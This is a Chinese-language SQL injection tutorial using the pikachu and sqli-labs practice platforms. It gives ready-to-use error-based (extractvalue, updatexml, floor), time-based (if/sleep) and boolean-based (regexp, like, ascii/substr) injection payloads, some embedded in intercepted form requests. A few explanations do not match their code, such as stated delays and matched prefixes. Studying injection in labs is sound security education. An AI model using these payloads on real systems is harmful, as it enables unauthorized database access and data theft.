当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。
一、常见的几种SQL查询方式
select查询数据
在网站应用中进行数据显示查询操作
例: select * from news where id=$id
insert插入数据
在网站应用中进行用户注册添加等操作
例: insert into news (id, url, text) values (2, 'x','$t')
delete删除数据
后台管理里面删除文章删除用户等操作
例: delete from news where id=$id
update更新数据
会员或后台中心数据同步或缓存等操作
例: update user set pwd='$p' where id=2 and username= 'admin'
order by排序数据
一般结合表名或列名进行数据排序操作
例: select * from news order by $id
例: select id, name, price from news order by $order
重点理解:
我们可以通过以上查询方式与网站应用的关系,注入点产生地方或应用猜测到对方的SQL查询方式
pikachu漏洞练习平台
SQL语句盲注及分类
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
- 基于布尔的SQL盲注-逻辑判断
regexp, like, ascii, left, ord, mid- 基于时间的SQL盲注-延时判断
if, sleep- 基于报错的SQL盲注-报错回显
floor, updatexml,extractvalue
注:在burpsuite注入时,使用 + 号替换空格
二、基于报错的SQL盲注-报错回显
常用的报错函数
updatexml() | MYSQL对xml文档数据进行查询和修改的XPATH函数 |
updatexml(xml_document,XPathstring,new_value) | 表名,路径(路径错误会报错),替换的值 |
extractvalue() | MYSQL对xml文档数据进行查询XPATH函数 |
extractvalue(xml_document,XPathstring) | 表名,路径(路径错误会报错) |
floor() | MYSQL中用来取整的函数 |
参考地址:
https://www.jianshu.com/p/bc35f8dd4f7c
https://developer.aliyun.com/article/692723
1.insert语句
填写注册信息提交
使用bp抓包,并进行注入
'or+extractvalue(1,concat(0x7e,user(),0x7e))+or'
username=111+'or+extractvalue(1,concat(0x7e,user(),0x7e))+or'&password=111&sex=1121&phonenum=11&email=11&add=11&submit=submit
'or+updatexml(1,concat(0x7e,user(),0x7e),1)+or'
username=111+'or+updatexml(1,concat(0x7e,user(),0x7e),1)+or'&password=111&sex=1121&phonenum=11&email=11&add=11&submit=submit
2.updata语句
修改信息信息提交
使用bp抓包,并进行注入
'or+updatexml(1,concat(0x7e,user(),0x7e),1)+or'
sex=1+'or+updatexml(1,concat(0x7e,user(),0x7e),1)+or'&phonenum=1&add=1&email=1&submit=submit
其余报错函数和insert使用类似
3.delete语句
修改信息信息提交
使用bp抓包,并进行注入
or+updatexml+(1,concat(0x7e,user()),0)
id=56+or+updatexml+(1,concat(0x7e,user()),0)
其余报错函数和insert使用类似
floor()函数的使用
url?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a--+
注:此为注入字段为3的示例
三、基于时间的SQL盲注-延时判断
1. sleep 函数
MySQL中sleep(duration) 函数将当前查询暂停(睡眠)指定的秒数。
参数 duration 必需以秒为单位的睡眠时长。它应该大于或等于 0,并且可以带有小数部分。
注:在实际渗透过程中由于网络的影响,时间注入的延时很难判断,所以不推荐使用
2. if 函数
语法 if(condition,T,F)
- 参数:
condition:需要判断的条件,可以是一个数据,也可以是一条语句。
T:当condition为 true 时的返回值。
F:当condition为 false 时的返回值。
3.多个函数组合使用
常用的函数
参考地址:http://www.manongjc.com/detail/29-vgkitsmkdvtmpad.html
函数 | 作用 |
---|---|
like ‘ro%’ | 判断ro或ro…是否成立 |
regexp ‘^xiaodi [a-z]’ | 匹配xiaodi及xiaodi…等 |
sleep (5) | sQL语句延时执行s秒 |
mid (a, b, c) | 从位置b开始,截取a字符串的c位 |
substr( a,b, c) | 从b位置开始,截取字符串a的c长度 |
left (database(),1) | left(a,b)从左侧截取a的前b位 |
length(database ())=8 | 判断数据库database ()名的长度 |
ascii(x)=97(ord=ascii) | 判断x的ascii码是否等于97 |
like和regexp函数使用方法:https://www.jb51.net/article/180533.htm
if + sleep 的是使用
select sleep(if(database()='a',0,3))id,username,pw from member where id=1;
语句意义:如果当前数据库是 a 就立即输出select语句的查询结果,如果不是 a ,就延迟3秒输出select语句的查询结果
if + sleep + mid 的是使用
select sleep(if(mid(database(),1,1)='p',5,0)),mid(database(),1,1);
语句意义:如果当前数据库的第一个字段是 p就延迟3秒输出select语句的查询结果 ,如果不是 p ,就立即输出select语句的查询结果
if + sleep + length 的是使用
select sleep(if(length(database())=7,5,0)),length(database());
语句意义:如果当前数据库长度为 7,就延迟5秒输出select语句的查询结果 ,如果不为7 ,就立即输出select语句的查询结果
三、基于布尔的SQL盲注-逻辑判断
regexp, like, ascii=ord, left, mid
sqlilabs less-5
- regexp
?id=1' and substring(database(),1,1) regexp '^s'--+
语句意义:判断数据库名是否以 se开头 ,回显正常,说明数据库名以 se开头
- like
?id=1' and database() like 'se%'--+
语句意义:判断数据库名是否以 se开头 ,回显正常,说明数据库名以 se开头
- ascii=ord
?id=1' and ascii(substr((select database()),1,1))>111--+
语句意义:判断数据库名的第一个字符ascii值是否大于111 ,s的ascII值为115,所以回显正常
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=101--+
语句意义:判断数据库的第一个表名的第一位字符ascii值是否为101 ,第一个表为emails,e的ascII值为101,所以回显正常